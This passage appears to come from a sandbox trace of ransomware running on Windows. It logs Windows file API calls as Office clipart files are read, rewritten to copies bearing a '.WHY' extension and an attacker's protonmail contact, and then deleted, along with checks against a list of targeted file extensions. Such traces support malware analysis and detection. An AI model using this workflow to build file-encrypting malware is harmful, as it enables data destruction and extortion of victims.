dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0273.968] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.968] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0273.969] GetLastError () returned 0x0 [0273.969] ReadFile (in: hFile=0x3bc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x4124, lpOverlapped=0x0) returned 1 [0274.267] WriteFile (in: hFile=0x398, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0x4130, lpOverlapped=0x0) returned 1 [0274.691] ReadFile (in: hFile=0x3bc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x0, lpOverlapped=0x0) returned 1 [0274.691] WriteFile (in: hFile=0x398, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.691] SetEndOfFile (hFile=0x398) returned 1 [0274.691] CloseHandle (hObject=0x398) returned 1 [0274.693] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.693] SetEndOfFile (hFile=0x3bc) returned 1 [0274.949] CloseHandle (hObject=0x3bc) returned 1 [0274.949] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0274.950] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf")) returned 1 [0274.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0274.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0274.951] lstrlenW (lpString=".doc") returned 4 [0274.951] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.951] lstrlenW (lpString=".docx") returned 5 [0274.951] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.951] lstrlenW (lpString=".pdf") returned 4 [0274.951] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.951] lstrlenW (lpString=".xls") returned 4 [0274.951] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.951] lstrlenW (lpString=".xlsx") returned 5 [0274.951] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.952] lstrlenW (lpString=".ppt") returned 4 [0274.952] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0274.952] lstrlenW (lpString=".zip") returned 4 [0274.952] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.952] lstrlenW (lpString=".rar") returned 4 [0274.952] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.952] lstrlenW (lpString=".bz2") returned 4 [0274.952] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.952] lstrlenW (lpString=".7z") returned 3 [0274.952] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0274.952] lstrlenW (lpString=".dbf") returned 4 [0274.952] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0274.953] lstrlenW (lpString=".1cd") returned 4 [0274.953] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0274.953] lstrlenW (lpString=".jpg") returned 4 [0274.953] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0274.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0274.953] lstrlenW (lpString=".doc") returned 4 [0274.953] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.953] lstrlenW (lpString=".docx") returned 5 [0274.954] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.954] lstrlenW (lpString=".pdf") returned 4 [0274.954] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.954] lstrlenW (lpString=".xls") returned 4 [0274.954] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.954] lstrlenW (lpString=".xlsx") returned 5 [0274.954] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.954] lstrlenW (lpString=".ppt") returned 4 [0274.954] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0274.954] lstrlenW (lpString=".zip") returned 4 [0274.954] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.954] lstrlenW (lpString=".rar") returned 4 [0274.955] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.955] lstrlenW (lpString=".bz2") returned 4 [0274.955] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.955] lstrlenW (lpString=".7z") returned 3 [0274.955] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0274.955] lstrlenW (lpString=".dbf") returned 4 [0274.955] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0274.955] lstrlenW (lpString=".1cd") returned 4 [0274.955] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0274.955] lstrlenW (lpString=".jpg") returned 4 [0274.956] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.956] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0274.956] lstrlenW (lpString="BD09194_.WMF") returned 12 [0274.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0274.957] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=14540) returned 1 [0274.957] CloseHandle (hObject=0x3bc) returned 1 [0274.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf")) returned 0x20 [0274.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0274.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0274.958] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.959] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0274.960] GetLastError () returned 0x0 [0274.960] ReadFile (in: hFile=0x3bc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x38cc, lpOverlapped=0x0) returned 1 [0275.047] WriteFile (in: hFile=0x250, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x38d0, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0x38d0, lpOverlapped=0x0) returned 1 [0275.455] ReadFile (in: hFile=0x3bc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x0, lpOverlapped=0x0) returned 1 [0275.455] WriteFile (in: hFile=0x250, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0275.455] SetEndOfFile (hFile=0x250) returned 1 [0276.280] CloseHandle (hObject=0x250) returned 1 [0276.400] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0276.400] SetEndOfFile (hFile=0x3bc) returned 1 [0278.102] CloseHandle (hObject=0x3bc) returned 1 [0278.103] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0278.104] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf")) returned 1 [0278.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0278.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0278.105] lstrlenW (lpString=".doc") returned 4 [0278.105] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0278.105] lstrlenW (lpString=".docx") returned 5 [0278.105] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0278.105] lstrlenW (lpString=".pdf") returned 4 [0278.105] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0278.106] lstrlenW (lpString=".xls") returned 4 [0278.106] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0278.106] lstrlenW (lpString=".xlsx") returned 5 [0278.106] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0278.106] lstrlenW (lpString=".ppt") returned 4 [0278.106] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0278.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0278.106] lstrlenW (lpString=".zip") returned 4 [0278.106] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0278.106] lstrlenW (lpString=".rar") returned 4 [0278.106] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0278.107] lstrlenW (lpString=".bz2") returned 4 [0278.107] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0278.107] lstrlenW (lpString=".7z") returned 3 [0278.107] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0278.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0278.107] lstrlenW (lpString=".dbf") returned 4 [0278.107] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0278.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0278.107] lstrlenW (lpString=".1cd") returned 4 [0278.107] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0278.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0278.107] lstrlenW (lpString=".jpg") returned 4 [0278.107] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0278.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0278.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0278.108] lstrlenW (lpString=".doc") returned 4 [0278.108] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0278.108] lstrlenW (lpString=".docx") returned 5 [0278.108] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0278.108] lstrlenW (lpString=".pdf") returned 4 [0278.108] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0278.108] lstrlenW (lpString=".xls") returned 4 [0278.108] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0278.108] lstrlenW (lpString=".xlsx") returned 5 [0278.108] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0278.108] lstrlenW (lpString=".ppt") returned 4 [0278.108] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0278.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0278.109] lstrlenW (lpString=".zip") returned 4 [0278.109] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0278.109] lstrlenW (lpString=".rar") returned 4 [0278.109] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0278.109] lstrlenW (lpString=".bz2") returned 4 [0278.109] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0278.109] lstrlenW (lpString=".7z") returned 3 [0278.109] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0278.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0278.109] lstrlenW (lpString=".dbf") returned 4 [0278.109] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0278.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0278.109] lstrlenW (lpString=".1cd") returned 4 [0278.110] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0278.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0278.110] lstrlenW (lpString=".jpg") returned 4 [0278.110] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0278.110] lstrcmpiW (lpString1=".GIF", lpString2=".WHY") returned -1 [0278.114] lstrlenW (lpString="BD19563_.GIF") returned 12 [0278.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0278.116] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=20454) returned 1 [0278.116] CloseHandle (hObject=0x3bc) returned 1 [0278.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif")) returned 0x20 [0278.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0278.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0278.117] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0278.117] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0278.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0278.118] GetLastError () returned 0x0 [0278.118] ReadFile (in: hFile=0x3bc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x4fe6, lpOverlapped=0x0) returned 1 [0278.213] WriteFile (in: hFile=0x3b0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x4ff0, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0x4ff0, lpOverlapped=0x0) returned 1 [0278.217] ReadFile (in: hFile=0x3bc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x0, lpOverlapped=0x0) returned 1 [0278.217] WriteFile (in: hFile=0x3b0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0278.217] SetEndOfFile (hFile=0x3b0) returned 1 [0278.218] CloseHandle (hObject=0x3b0) returned 1 [0278.220] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0278.221] SetEndOfFile (hFile=0x3bc) returned 1 [0278.232] CloseHandle (hObject=0x3bc) returned 1 [0278.232] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0278.233] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif")) returned 1 [0278.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0278.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0278.236] lstrlenW (lpString=".doc") returned 4 [0278.236] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0278.236] lstrlenW (lpString=".docx") returned 5 [0278.236] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0278.236] lstrlenW (lpString=".pdf") returned 4 [0278.236] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0278.237] lstrlenW (lpString=".xls") returned 4 [0278.237] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0278.237] lstrlenW (lpString=".xlsx") returned 5 [0278.237] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0278.237] lstrlenW (lpString=".ppt") returned 4 [0278.237] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0278.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0278.237] lstrlenW (lpString=".zip") returned 4 [0278.237] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0278.237] lstrlenW (lpString=".rar") returned 4 [0278.237] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0278.237] lstrlenW (lpString=".bz2") returned 4 [0278.237] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0278.238] lstrlenW (lpString=".7z") returned 3 [0278.238] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0278.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0278.238] lstrlenW (lpString=".dbf") returned 4 [0278.238] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0278.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0278.238] lstrlenW (lpString=".1cd") returned 4 [0278.238] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0278.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0278.238] lstrlenW (lpString=".jpg") returned 4 [0278.238] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0278.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0278.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0278.239] lstrlenW (lpString=".doc") returned 4 [0278.239] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0278.239] lstrlenW (lpString=".docx") returned 5 [0278.239] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0278.239] lstrlenW (lpString=".pdf") returned 4 [0278.239] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0278.239] lstrlenW (lpString=".xls") returned 4 [0278.239] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0278.239] lstrlenW (lpString=".xlsx") returned 5 [0278.239] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0278.239] lstrlenW (lpString=".ppt") returned 4 [0278.239] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0278.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0278.240] lstrlenW (lpString=".zip") returned 4 [0278.240] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0278.240] lstrlenW (lpString=".rar") returned 4 [0278.240] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0278.240] lstrlenW (lpString=".bz2") returned 4 [0278.240] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0278.240] lstrlenW (lpString=".7z") returned 3 [0278.240] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0278.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0278.240] lstrlenW (lpString=".dbf") returned 4 [0278.240] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0278.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0278.240] lstrlenW (lpString=".1cd") returned 4 [0278.241] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0278.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0278.241] lstrlenW (lpString=".jpg") returned 4 [0278.241] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0278.241] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0278.241] lstrlenW (lpString="BD19695_.WMF") returned 12 [0278.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0278.243] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=12982) returned 1 [0278.243] CloseHandle (hObject=0x3bc) returned 1 [0278.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf")) returned 0x20 [0278.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0278.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0278.244] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0278.244] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0278.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 